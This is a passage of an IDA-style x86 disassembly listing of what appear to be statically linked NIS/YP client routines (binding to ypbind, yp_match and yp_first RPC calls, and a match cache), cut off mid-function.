loc_805CCEA:				; CODE XREF: sub_805CCB0+23j
		push	1Ch
		call	malloc
		mov	ebx, eax
		push	1Ch
		push	ebx
		call	bzero
		add	esp, 0Ch
		cmp	ds:dword_807E398, 0
		jz	short loc_805CD0E
		mov	eax, ds:dword_807E398
		mov	[ebx], eax

loc_805CD0E:				; CODE XREF: sub_805CCB0+55j
		mov	ds:dword_807E398, ebx

loc_805CD14:				; CODE XREF: sub_805CCB0+38j
		cmp	dword ptr [ebx+8], 0
		jz	short loc_805CD26
		mov	eax, [ebx+8]
		push	eax
		call	free
		add	esp, 4

loc_805CD26:				; CODE XREF: sub_805CCB0+68j
		cmp	dword ptr [ebx+0Ch], 0
		jz	short loc_805CD38
		mov	eax, [ebx+0Ch]
		push	eax
		call	free
		add	esp, 4

loc_805CD38:				; CODE XREF: sub_805CCB0+7Aj
		mov	dword ptr [ebx+8], 0
		mov	dword ptr [ebx+0Ch], 0
		mov	edx, [ebp+arg_8]
		push	edx
		call	malloc
		mov	[ebx+8], eax
		add	esp, 4
		test	eax, eax
		jz	loc_805CDE3
		push	edi
		call	malloc
		mov	[ebx+0Ch], eax
		add	esp, 4
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_805CD80
		push	0
		call	free
		mov	dword ptr [ebx+8], 0
		jmp	short loc_805CDE3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805CD80:				; CODE XREF: sub_805CCB0+BDj
		mov	edx, [ebp+arg_8]
		mov	[ebx+10h], edx
		mov	[ebx+14h], edi
		mov	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+8]
		push	eax
		mov	edx, [ebp+arg_4]
		push	edx
		call	bcopy
		mov	eax, [ebx+14h]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		mov	edx, [ebp+arg_C]
		push	edx
		call	bcopy
		add	esp, 18h
		cmp	dword ptr [ebx+4], 0
		jz	short loc_805CDCE
		push	esi
		mov	eax, [ebx+4]
		push	eax
		call	strcmp
		add	esp, 8
		test	eax, eax
		jz	short loc_805CDD7
		mov	eax, [ebx+4]
		push	eax
		call	free

loc_805CDCE:				; CODE XREF: sub_805CCB0+102j
		push	esi
		call	strdup
		mov	[ebx+4], eax

loc_805CDD7:				; CODE XREF: sub_805CCB0+113j
		mov	edx, [ebp+var_4]
		add	edx, ds:dword_8069038
		mov	[ebx+18h], edx

loc_805CDE3:				; CODE XREF: sub_805CCB0+A7j
					; sub_805CCB0+CDj
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805CCB0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805CDF0	proc near		; CODE XREF: sub_805D3A8+A1p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		cmp	ds:dword_807E398, 0
		jnz	short loc_805CE24
		jmp	short loc_805CE75
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805CE0C:				; CODE XREF: sub_805CDF0+7Dj
		mov	eax, [ebx+0Ch]
		mov	edx, [ebp+arg_C]
		mov	[edx], eax
		mov	eax, [ebx+14h]
		mov	edx, [ebp+arg_10]
		mov	[edx], eax
		mov	eax, 1
		jmp	short loc_805CE77
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805CE24:				; CODE XREF: sub_805CDF0+16j
		lea	eax, [ebp+var_4]
		push	eax
		call	__libc_time
		mov	ebx, ds:dword_807E398
		add	esp, 4
		test	ebx, ebx
		jz	short loc_805CE75
		lea	esi, [esi]

loc_805CE3C:				; CODE XREF: sub_805CDF0+83j
		cmp	[ebx+10h], esi
		jnz	short loc_805CE6F
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebx+4]
		push	eax
		call	strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_805CE6F
		push	esi
		push	edi
		mov	eax, [ebx+8]
		push	eax
		call	bcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_805CE6F
		mov	eax, [ebp+var_4]
		cmp	[ebx+18h], eax
		jge	short loc_805CE0C

loc_805CE6F:				; CODE XREF: sub_805CDF0+4Fj
					; sub_805CDF0+63j ...
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_805CE3C

loc_805CE75:				; CODE XREF: sub_805CDF0+18j
					; sub_805CDF0+48j
		xor	eax, eax

loc_805CE77:				; CODE XREF: sub_805CDF0+31j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805CDF0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805CE84	proc near		; CODE XREF: sub_805D328+9p
					; sub_805D3A8+66p ...

var_45C		= byte ptr -45Ch
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43A		= byte ptr -43Ah
var_438		= byte ptr -438h
var_434		= dword	ptr -434h
var_430		= word ptr -430h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= byte ptr -41Ch
var_1C		= word ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 450h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_44C], 0
		call	__libc_getpid
		mov	[ebp+var_450], eax
		cmp	dword_8078F94, 0FFFFFFFFh
		jz	short loc_805CEF6
		cmp	dword_8078F94, eax
		jz	short loc_805CEF6
		mov	esi, ds:dword_807EB94
		test	esi, esi
		jz	short loc_805CEEC

loc_805CEC0:				; CODE XREF: sub_805CE84+66j
		cmp	dword ptr [esi+120h], 0
		jz	short loc_805CEDB
		mov	edx, [esi+120h]
		mov	ecx, [edx+4]
		push	edx
		mov	edx, [ecx+10h]
		call	edx
		add	esp, 4

loc_805CEDB:				; CODE XREF: sub_805CE84+43j
		mov	ebx, [esi]
		push	esi
		call	free
		mov	esi, ebx
		add	esp, 4
		test	esi, esi
		jnz	short loc_805CEC0

loc_805CEEC:				; CODE XREF: sub_805CE84+3Aj
		mov	ds:dword_807EB94, 0

loc_805CEF6:				; CODE XREF: sub_805CE84+28j
					; sub_805CE84+30j
		mov	edi, [ebp+var_450]
		mov	dword_8078F94, edi
		cmp	[ebp+arg_4], 0
		jz	short loc_805CF11
		mov	edi, [ebp+arg_4]
		mov	dword ptr [edi], 0

loc_805CF11:				; CODE XREF: sub_805CE84+82j
		cmp	[ebp+arg_0], 0
		jz	short loc_805CF29
		xor	al, al
		mov	edi, [ebp+arg_0]
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFEh
		jnz	short loc_805CF34

loc_805CF29:				; CODE XREF: sub_805CE84+91j
		mov	eax, 1
		jmp	loc_805D2E6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805CF34:				; CODE XREF: sub_805CE84+A3j
		mov	esi, ds:dword_807EB94
		test	esi, esi
		jz	short loc_805CF5E
		lea	esi, [esi]

loc_805CF40:				; CODE XREF: sub_805CE84+D4j
		lea	edx, [esi+4]
		push	edx
		mov	edi, [ebp+arg_0]
		push	edi
		call	strcmp
		add	esp, 8
		test	eax, eax
		jz	short loc_805CF5A
		mov	esi, [esi]
		test	esi, esi
		jnz	short loc_805CF40

loc_805CF5A:				; CODE XREF: sub_805CE84+CEj
		test	esi, esi
		jnz	short loc_805CF96

loc_805CF5E:				; CODE XREF: sub_805CE84+B8j
		push	12Ch
		call	malloc
		mov	esi, eax
		push	12Ch
		push	esi
		call	bzero
		mov	dword ptr [esi+11Ch], 0FFFFFFFFh
		mov	dword ptr [esi+128h], 0
		mov	[ebp+var_44C], 1
		add	esp, 0Ch

loc_805CF96:				; CODE XREF: sub_805CE84+D8j
					; sub_805CE84+1B1j ...
		cmp	dword ptr [esi+128h], 0
		jnz	loc_805D084
		push	2
		mov	edi, [ebp+arg_0]
		push	edi
		push	offset aVarYpBinding ; "/var/yp/binding"
		push	offset aSS_D	; "%s/%s.%d"
		lea	ebx, [ebp+var_41C]
		push	ebx
		call	sprintf
		push	0
		push	ebx
		call	__libc_open
		mov	ebx, eax
		add	esp, 1Ch
		test	ebx, ebx
		jl	loc_805D084
		lea	edi, [ebp+var_43A]
		mov	[ebp+var_42C], edi
		mov	[ebp+var_428], 2
		lea	edi, [ebp+var_438]
		mov	[ebp+var_424], edi
		mov	[ebp+var_420], 0Ch
		push	2
		lea	edx, [ebp+var_42C]
		push	edx
		push	ebx
		call	__readv
		mov	edx, [ebp+var_428]
		add	edx, [ebp+var_420]
		add	esp, 0Ch
		cmp	eax, edx
		jz	short loc_805D03C
		push	ebx
		call	__libc_close
		mov	dword ptr [esi+128h], 0FFFFFFFFh
		add	esp, 4
		jmp	loc_805CF96
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D03C:				; CODE XREF: sub_805CE84+19Cj
		push	10h
		lea	edx, [esi+108h]
		push	edx
		call	bzero
		mov	word ptr [esi+108h], 2
		mov	edx, [ebp+var_434]
		mov	[esi+10Ch], edx
		mov	dx, [ebp+var_430]
		mov	[esi+10Ah], dx
		mov	[esi+118h], dx
		push	ebx
		call	__libc_close
		add	esp, 0Ch
		jmp	loc_805D1FD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D084:				; CODE XREF: sub_805CE84+119j
					; sub_805CE84+14Aj
		mov	edx, [esi+128h]
		inc	edx
		cmp	edx, 1
		ja	loc_805D217
		push	10h
		lea	ebx, [ebp+var_1C]
		push	ebx
		call	bzero
		mov	[ebp+var_1C], 2
		add	esp, 8
		mov	[ebp+var_18], 100007Fh
		mov	[ebp+var_440], 0FFFFFFFFh
		push	0
		push	0
		lea	edx, [ebp+var_440]
		push	edx
		push	2
		push	186A7h
		push	ebx
		call	clnttcp_create
		mov	ebx, eax
		add	esp, 18h
		test	ebx, ebx
		jz	short loc_805D12B
		mov	edi, ds:dword_8069030
		mov	[ebp+var_448], edi
		mov	[ebp+var_444], 0
		mov	edx, [ebx+4]
		push	[ebp+var_444]
		push	[ebp+var_448]
		lea	ecx, [ebp+var_C]
		push	ecx
		push	offset sub_8066800
		mov	edi, [ebp+arg_0]
		push	edi
		push	offset xdr_domainname
		push	1
		push	ebx
		mov	edx, [edx]
		call	edx
		add	esp, 20h
		test	eax, eax
		jz	short loc_805D144
		mov	edx, [ebx+4]
		push	ebx
		mov	edx, [edx+10h]
		call	edx
		add	esp, 4

loc_805D12B:				; CODE XREF: sub_805CE84+254j
		cmp	[ebp+var_44C], 0
		jz	short loc_805D13A
		push	esi
		call	free

loc_805D13A:				; CODE XREF: sub_805CE84+2AEj
		mov	eax, 0Ah
		jmp	loc_805D2E6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D144:				; CODE XREF: sub_805CE84+299j
		mov	edx, [ebx+4]
		push	ebx
		mov	edx, [edx+10h]
		call	edx
		add	esp, 4
		cmp	[ebp+var_C], 1
		jz	short loc_805D1C4
		mov	edx, [ebp+var_8]
		cmp	edx, 2
		jz	short loc_805D178
		ja	short loc_805D168
		cmp	edx, 1
		jz	short loc_805D170
		jmp	short loc_805D198
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D168:				; CODE XREF: sub_805CE84+2DAj
		cmp	edx, 3
		jz	short loc_805D190
		jmp	short loc_805D198
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D170:				; CODE XREF: sub_805CE84+2DFj
		push	offset aYpbindproc_dom ; "YPBINDPROC_DOMAIN: Internal error\n"
		jmp	short loc_805D19D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D178:				; CODE XREF: sub_805CE84+2D8j
		mov	edi, [ebp+arg_0]
		push	edi
		push	offset aYpbindproc_d_0 ; "YPBINDPROC_DOMAIN: No	bound server for "...
		push	offset unk_80787A4
		call	_IO_fprintf
		add	esp, 0Ch
		jmp	short loc_805D1AA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D190:				; CODE XREF: sub_805CE84+2E7j
		push	offset aYpbindproc_d_1 ; "YPBINDPROC_DOMAIN: Resource allocation "...
		jmp	short loc_805D19D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D198:				; CODE XREF: sub_805CE84+2E1j
					; sub_805CE84+2E9j
		push	offset aYpbindproc_d_2 ; "YPBINDPROC_DOMAIN: Unknown error\n"

loc_805D19D:				; CODE XREF: sub_805CE84+2F1j
					; sub_805CE84+311j
		push	offset unk_80787A4
		call	_IO_fprintf
		add	esp, 8

loc_805D1AA:				; CODE XREF: sub_805CE84+30Aj
		cmp	[ebp+var_44C], 0
		jz	short loc_805D1B9
		push	esi
		call	free

loc_805D1B9:				; CODE XREF: sub_805CE84+32Dj
		mov	eax, 3
		jmp	loc_805D2E6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D1C4:				; CODE XREF: sub_805CE84+2D0j
		push	10h
		lea	edx, [esi+108h]
		push	edx
		call	bzero
		mov	word ptr [esi+108h], 2
		mov	dx, [ebp+var_4]
		mov	[esi+10Ah], dx
		mov	edx, [ebp+var_8]
		mov	[esi+10Ch], edx
		mov	dx, [ebp+var_4]
		mov	[esi+118h], dx
		add	esp, 8

loc_805D1FD:				; CODE XREF: sub_805CE84+1F9j
		mov	dword ptr [esi+128h], 2
		mov	edi, [ebp+arg_0]
		push	edi
		lea	edx, [esi+4]
		push	edx
		call	strcpy
		add	esp, 8

loc_805D217:				; CODE XREF: sub_805CE84+20Aj
		mov	edx, ds:dword_8069030
		shr	edx, 1Fh
		add	edx, ds:dword_8069030
		sar	edx, 1
		mov	[ebp+var_448], edx
		mov	[ebp+var_444], 0
		cmp	dword ptr [esi+120h], 0
		jz	short loc_805D254
		mov	edx, [esi+120h]
		mov	ecx, [edx+4]
		push	edx
		mov	edx, [ecx+10h]
		call	edx
		add	esp, 4

loc_805D254:				; CODE XREF: sub_805CE84+3BCj
		mov	dword ptr [esi+11Ch], 0FFFFFFFFh
		lea	edx, [esi+11Ch]
		push	edx
		push	[ebp+var_444]
		push	[ebp+var_448]
		push	2
		push	186A4h
		lea	edx, [esi+108h]
		push	edx
		call	sub_8064400
		mov	[esi+120h], eax
		add	esp, 18h
		test	eax, eax
		jnz	short loc_805D2A0
		mov	dword ptr [esi+128h], 0FFFFFFFFh
		jmp	loc_805CF96
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805D2A0:				; CODE XREF: sub_805CE84+40Bj
		push	1
		push	2
		mov	edx, [esi+11Ch]
		push	edx
		call	__libc_fcntl
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_805D2C2
		push	offset aFcntlF_setfd ; "fcntl: F_SETFD"
		call	_IO_perror

loc_805D2C2:				; CODE XREF: sub_805CE84+432j
		cmp	[ebp+var_44C], 0
		jz	short loc_805D2D9
		mov	edx, ds:dword_807EB94
		mov	[esi], edx
		mov	ds:dword_807EB94, esi

loc_805D2D9:				; CODE XREF: sub_805CE84+445j
		cmp	[ebp+arg_4], 0
		jz	short loc_805D2E4
		mov	edi, [ebp+arg_4]
		mov	[edi], esi

loc_805D2E4:				; CODE XREF: sub_805CE84+459j
		xor	eax, eax

loc_805D2E6:				; CODE XREF: sub_805CE84+AAj
					; sub_805CE84+2BBj ...
		lea	esp, [ebp+var_45C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805CE84	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805D2F4	proc near		; CODE XREF: sub_805D3A8+17Ep
					; sub_805D3A8+23Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+120h]
		mov	edx, [eax+4]
		push	eax
		mov	eax, [edx+10h]
		call	eax
		mov	dword ptr [ebx+120h], 0
		mov	dword ptr [ebx+11Ch], 0FFFFFFFFh
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805D2F4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805D328	proc near		; CODE XREF: .text:0805E0F2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	0
		push	eax
		call	sub_805CE84
		mov	esp, ebp
		pop	ebp
		retn
sub_805D328	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [0000006A BYTES: COLLAPSED FUNCTION yp_unbind. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805D3A8	proc near		; CODE XREF: sub_804C9E4+53p

var_38		= byte ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_24], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_805D3E8
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi],	0
		jz	short loc_805D3E8
		cmp	[ebp+arg_4], 0
		jz	short loc_805D3E8
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [esi],	0
		jz	short loc_805D3E8
		cmp	[ebp+arg_8], 0
		jz	short loc_805D3E8
		cmp	[ebp+arg_C], 0
		jz	short loc_805D3E8
		mov	esi, [ebp+arg_8]
		cmp	byte ptr [esi],	0
		jnz	short loc_805D3F4

loc_805D3E8:				; CODE XREF: sub_805D3A8+14j
					; sub_805D3A8+1Cj ...
		mov	eax, 1
		jmp	loc_805D5EE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D3F4:				; CODE XREF: sub_805D3A8+3Ej
		mov	esi, [ebp+arg_10]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_14]
		mov	dword ptr [esi], 0

loc_805D406:				; CODE XREF: sub_805D3A8+192j
		lea	edx, [ebp+var_20]
		push	edx
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_805CE84
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	loc_805D5EE
		mov	esi, [ebp+arg_0]
		push	esi
		push	offset byte_807E358
		call	strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_805D4A0
		lea	edx, [ebp+var_4]
		push	edx
		lea	edx, [ebp+var_8]
		push	edx
		mov	esi, [ebp+arg_C]
		push	esi
		mov	esi, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		push	esi
		call	sub_805CDF0
		add	esp, 14h
		test	eax, eax
		jz	short loc_805D4A0
		mov	edx, [ebp+var_4]
		mov	esi, [ebp+arg_14]
		mov	[esi], edx
		mov	edx, [esi]
		add	edx, 2
		push	edx
		call	malloc
		mov	esi, [ebp+arg_10]
		mov	[esi], eax
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		push	edx
		push	eax
		mov	edx, [ebp+var_8]
		push	edx
		call	bcopy
		mov	esi, [ebp+arg_10]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_10]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		xor	eax, eax
		jmp	loc_805D5EE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D4A0:				; CODE XREF: sub_805D3A8+8Bj
					; sub_805D3A8+ABj
		mov	esi, ds:dword_8069030
		mov	[ebp+var_2C], esi
		mov	[ebp+var_28], 0
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_18], esi
		mov	esi, [ebp+arg_8]
		mov	[ebp+var_14], esi
		mov	esi, [ebp+arg_C]
		mov	[ebp+var_10], esi
		push	0Ch
		lea	ebx, [ebp+var_C]
		push	ebx
		call	bzero
		mov	edx, [ebp+var_20]
		mov	ecx, [edx+120h]
		mov	eax, [ecx+4]
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	ebx
		push	offset xdr_nis_oid
		lea	edx, [ebp+var_1C]
		push	edx
		push	offset sub_8066514
		push	3
		push	ecx
		mov	edx, [eax]
		call	edx
		mov	ebx, eax
		add	esp, 28h
		test	ebx, ebx
		jz	short loc_805D54C
		push	offset aYp_matchClnt_c ; "yp_match: clnt_call"
		mov	edx, [ebp+var_20]
		mov	edx, [edx+120h]
		push	edx
		call	clnt_perror
		mov	edx, [ebp+var_20]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp+var_24]
		inc	[ebp+var_24]
		cmp	ds:dword_8069034, edx
		jg	loc_805D406
		mov	eax, 2
		jmp	loc_805D5EE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D54C:				; CODE XREF: sub_805D3A8+15Aj
		mov	edx, [ebp+var_C]
		push	edx
		call	ypprot_err
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_805D5D5
		mov	edx, [ebp+var_4]
		mov	esi, [ebp+arg_14]
		mov	[esi], edx
		mov	edx, [esi]
		add	edx, 2
		push	edx
		call	malloc
		mov	esi, [ebp+arg_10]
		mov	[esi], eax
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		push	edx
		push	eax
		mov	edx, [ebp+var_8]
		push	edx
		call	bcopy
		mov	esi, [ebp+arg_10]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_10]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		mov	esi, [ebp+arg_0]
		push	esi
		push	offset byte_807E358
		call	strcmp
		add	esp, 18h
		test	eax, eax
		jnz	short loc_805D5D5
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		push	edx
		mov	esi, [ebp+arg_10]
		mov	edx, [esi]
		push	edx
		mov	esi, [ebp+arg_C]
		push	esi
		mov	esi, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		push	esi
		call	sub_805CCB0
		add	esp, 14h

loc_805D5D5:				; CODE XREF: sub_805D3A8+1B4j
					; sub_805D3A8+20Bj
		lea	edx, [ebp+var_C]
		push	edx
		push	offset xdr_nis_oid
		call	xdr_free
		mov	edx, [ebp+var_20]
		push	edx
		call	sub_805D2F4
		mov	eax, ebx

loc_805D5EE:				; CODE XREF: sub_805D3A8+45j
					; sub_805D3A8+72j ...
		lea	esp, [ebp+var_38]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805D3A8	endp

; [0000003F BYTES: COLLAPSED FUNCTION yp_get_default_domain. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805D638	proc near		; CODE XREF: sub_804C9E4+82p

var_38		= byte ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_24], 0
		mov	esi, [ebp+arg_10]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_8]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_14]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_C]
		mov	dword ptr [esi], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_805D688
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi],	0
		jz	short loc_805D688
		cmp	[ebp+arg_4], 0
		jz	short loc_805D688
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [esi],	0
		jnz	short loc_805D694

loc_805D688:				; CODE XREF: sub_805D638+38j
					; sub_805D638+40j ...
		mov	eax, 1
		jmp	loc_805D80A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D694:				; CODE XREF: sub_805D638+4Ej
					; sub_805D638+10Aj
		lea	edx, [ebp+var_18]
		push	edx
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_805D6B4
		mov	eax, 3
		jmp	loc_805D80A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D6B4:				; CODE XREF: sub_805D638+6Ej
		mov	esi, ds:dword_8069030
		mov	[ebp+var_2C], esi
		mov	[ebp+var_28], 0
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_20], esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1C], esi
		push	14h
		lea	ebx, [ebp+var_14]
		push	ebx
		call	bzero
		mov	edx, [ebp+var_18]
		mov	ecx, [edx+120h]
		mov	eax, [ecx+4]
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	ebx
		push	offset sub_80665DC
		lea	edx, [ebp+var_20]
		push	edx
		push	offset sub_8066564
		push	4
		push	ecx
		mov	edx, [eax]
		call	edx
		mov	ebx, eax
		add	esp, 28h
		test	ebx, ebx
		jz	short loc_805D754
		push	offset aYp_firstClnt_c ; "yp_first: clnt_call"
		mov	edx, [ebp+var_18]
		mov	edx, [edx+120h]
		push	edx
		call	clnt_perror
		mov	edx, [ebp+var_18]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp+var_24]
		inc	[ebp+var_24]
		cmp	ds:dword_8069034, edx
		jg	loc_805D694
		mov	eax, 2
		jmp	loc_805D80A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D754:				; CODE XREF: sub_805D638+D2j
		mov	edx, [ebp+var_14]
		push	edx
		call	ypprot_err
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	loc_805D7F1
		mov	edx, [ebp+var_C]
		mov	esi, [ebp+arg_C]
		mov	[esi], edx
		mov	edx, [esi]
		add	edx, 2
		push	edx
		call	malloc
		mov	esi, [ebp+arg_8]
		mov	[esi], eax
		mov	esi, [ebp+arg_C]
		mov	edx, [esi]
		push	edx
		push	eax
		mov	edx, [ebp+var_10]
		push	edx
		call	bcopy
		mov	esi, [ebp+arg_8]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_C]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_8]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		mov	edx, [ebp+var_4]
		mov	esi, [ebp+arg_14]
		mov	[esi], edx
		mov	edx, [esi]
